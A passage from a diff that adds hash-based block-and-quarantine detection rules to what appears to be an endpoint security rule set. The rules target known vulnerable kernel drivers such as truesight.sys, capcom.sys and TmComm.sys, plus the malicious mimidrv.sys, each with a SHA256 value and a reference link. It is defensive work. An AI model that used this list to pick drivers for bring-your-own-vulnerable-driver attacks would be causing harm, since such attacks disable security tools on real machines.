+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e72e3d969c429cf4c55a476751eec576c0388c681ff182ff629a812753011dae",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f7bd01f5-fae7-5d4d-95ce-cf7bd36e331a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.978791Z",
+  "creation_date": "2026-03-23T11:45:29.978793Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.978798Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "59b09bd69923c0b3de3239e73205b1846a5f69043546d471b259887bb141d879",
+  "comment": "Vulnerable Kernel Driver (aka procexp152.sys) [https://www.loldrivers.io/drivers/0567c6c4-282f-406f-9369-7f876b899c25/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f7c5c863-a9fb-59ba-993d-67435828a444",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.160474Z",
+  "creation_date": "2026-03-23T11:45:31.160475Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.160481Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d13feffd9425aa1bf1cb196dd887e20f1dc46ef865584b5104595e77e71ff5c5",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f7dcf992-df20-5f88-9bd7-3f6c369d2abf",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.606978Z",
+  "creation_date": "2026-03-23T11:45:29.606980Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.606985Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "76adb3fa346058e95ba3fd549fd48a15adaf4920a3109391f52053ebf39e62cc",
+  "comment": "Process Explorer driver (aka PROCEXP.SYS and PROCEXP152.SYS) [https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f7e088a2-9d52-5c42-98b4-d5beef625660",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.983667Z",
+  "creation_date": "2026-03-23T11:45:29.983670Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.983675Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e4dbc382c21b4b14b54d37b2fd86e12a7637f177ba4170e19ffde3584ec48e6c",
+  "comment": "Vulnerable Kernel Driver (aka amigendrv64.sys) [https://www.loldrivers.io/drivers/5c45ae9e-cb6f-4eab-a070-b0187202e080/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f7e256cb-237e-5086-8d72-f1649adf06af",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.159972Z",
+  "creation_date": "2026-03-23T11:45:31.159974Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.159980Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e2268ddada0ea19902baa3b63b6912526d6217b1dd26e651208d0952439f2884",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f7e6dd6b-f24c-5070-801e-a72a8291549d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.491521Z",
+  "creation_date": "2026-03-23T11:45:31.491524Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.491532Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ee277d77ba18e32ba094970f48b1e1d295a5c5f07a9a029dff6ad171dd5becb4",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f7e942f1-ba4b-5f0a-94d5-1f5cab2ceffa",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.821897Z",
+  "creation_date": "2026-03-23T11:45:30.821901Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.821909Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "de8a750317ff44704c0b03c374f5cbc37c9ef5c067a33628aa7c51a5b11db383",
+  "comment": "Vulnerable Kernel Driver (aka ComputerZ.Sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f7f56acb-6216-5897-9b9c-ab710b3baa83",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.828167Z",
+  "creation_date": "2026-03-23T11:45:31.828169Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.828174Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0506323a942dbf6d78bcc596fb20acdec525786636f3923e5c33178c5cf55cb0",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f7f89e16-1b35-550a-bc81-f50fb0022f4a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.821343Z",
+  "creation_date": "2026-03-23T11:45:31.821346Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.821354Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "feec5c399ca9bb94a0592ab773bad0132d97aeed873bcb47a0622ab53c5c81b0",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f8057b07-a2ad-53c7-b92f-9e9b95f99857",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.160380Z",
+  "creation_date": "2026-03-23T11:45:31.160382Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.160390Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "136e3f4cf24fef00f5b7a4d35b6970dff68e4c5af40f47c0fa0d2e36f90b5d73",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f8061f08-9589-546e-bd8e-3617d60414ae",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.479828Z",
+  "creation_date": "2026-03-23T11:45:30.479830Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.479835Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d9e8be11a19699903016f39f95c9c5bf1a39774ecea73670f2c3ed5385ebfe4c",
+  "comment": "Vulnerable Kernel Driver (aka capcom.sys) [https://www.loldrivers.io/drivers/b51c441a-12c7-407d-9517-559cc0030cf6/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f80c9f39-bf9f-5c93-8902-cb4d04b3a541",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.604148Z",
+  "creation_date": "2026-03-23T11:45:29.604151Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.604156Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8483c5dc2323306d4ee3685b7e90a4c11e11b01d04cb607e0bc5aad368fd3c6e",
+  "comment": "Vulnerable Kernel Driver (aka BEDAISY.SYS) [https://www.loldrivers.io/drivers/db666d40-c9fa-4039-bfac-a5d7afd61b67/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f821a02e-72e7-5e8f-93cd-e47306221281",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.974950Z",
+  "creation_date": "2026-03-23T11:45:29.974953Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.974958Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2c1b6a278ff90171a7472423a2626edcf75233aacac1bd7d1995716ef26f8dcf",
+  "comment": "Trend Micro Anti-Rootkit Common Module vulnerable driver (aka TmComm.sys) [CVE-2007-0856] [https://www.loldrivers.io/drivers/22aa985b-5fdb-4e38-9382-a496220c27ec/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f829a8fc-6652-5c1c-9625-de753d8e5919",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.833318Z",
+  "creation_date": "2026-03-23T11:45:30.833321Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.833330Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "65ba545cef6077b62d96207252ffaea4e12bb93d37e5d2c2a9725fc54fb3874f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f83880bf-eb60-5877-b11b-4f07dde5b40f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.492285Z",
+  "creation_date": "2026-03-23T11:45:31.492287Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.492292Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fbd09c3feb1b5c77fd0aaaa3c43bf320a29a3230f1d8eaab4804d02d432e7822",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f83a7557-f594-583c-8346-4a481722d1af",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.147622Z",
+  "creation_date": "2026-03-23T11:45:31.147624Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.147629Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fa8c60175aaf470608e4f198c57cf0f4deef6dd9558dd6d512ae3f71a347a11d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f852f38c-c0aa-548c-a7c0-df05a047debd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.480967Z",
+  "creation_date": "2026-03-23T11:45:30.480969Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.480975Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4c807bacfcf5c30686e26812ec8d5581a824b82fee7434260c27c33eee2dfbe2",
+  "comment": "Vulnerable Kernel Driver (aka TdkLib64.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f86023c0-a963-5c0d-87b1-1e54a73b4f35",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.466720Z",
+  "creation_date": "2026-03-23T11:45:30.466723Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.466732Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "06ddf49ac8e06e6b83fccba1141c90ea01b65b7db592c54ffe8aa6d30a75c0b8",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f869ff1c-388e-5d6b-a145-ae2b90f72d5d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.608335Z",
+  "creation_date": "2026-03-23T11:45:29.608336Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.608342Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3111f4d7d4fac55103453c4c8adb742def007b96b7c8ed265347df97137fbee0",
+  "comment": "Vulnerable Kernel Driver (aka EnPortv.sys) [https://www.huntress.com/blog/encase-byovd-edr-killer] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f874ec6f-7cd7-53b9-a3f5-35e7df459bbe",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.615913Z",
+  "creation_date": "2026-03-23T11:45:29.615917Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.615922Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c84806a49da944c20a01e7dba7721e88859a5f65ec338ddb5da3a0d6895e7268",
+  "comment": "MICRO-STAR vulnerable drivers (aka NBIOLib_X64.sys, NTIOLib_X64.sys, NTIOLib.sys and NBIOLib.sys) [CVE-2021-44899] [http://blog.rewolf.pl/blog/?p=1630] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f878c79e-4f66-5bb6-a30d-484b22f03095",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.829519Z",
+  "creation_date": "2026-03-23T11:45:30.829521Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.829526Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d128c50214a5b6c3da6c85537974ff31ef44be4bcc3cc549fb1e6986eb8bf5d2",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f878d0a6-1c02-58b4-a105-3297a095e71c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.147483Z",
+  "creation_date": "2026-03-23T11:45:31.147485Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.147490Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0923bd21d9c36c4190536db1f8adde19161988d0a66471b002fb1b4df70fae2a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
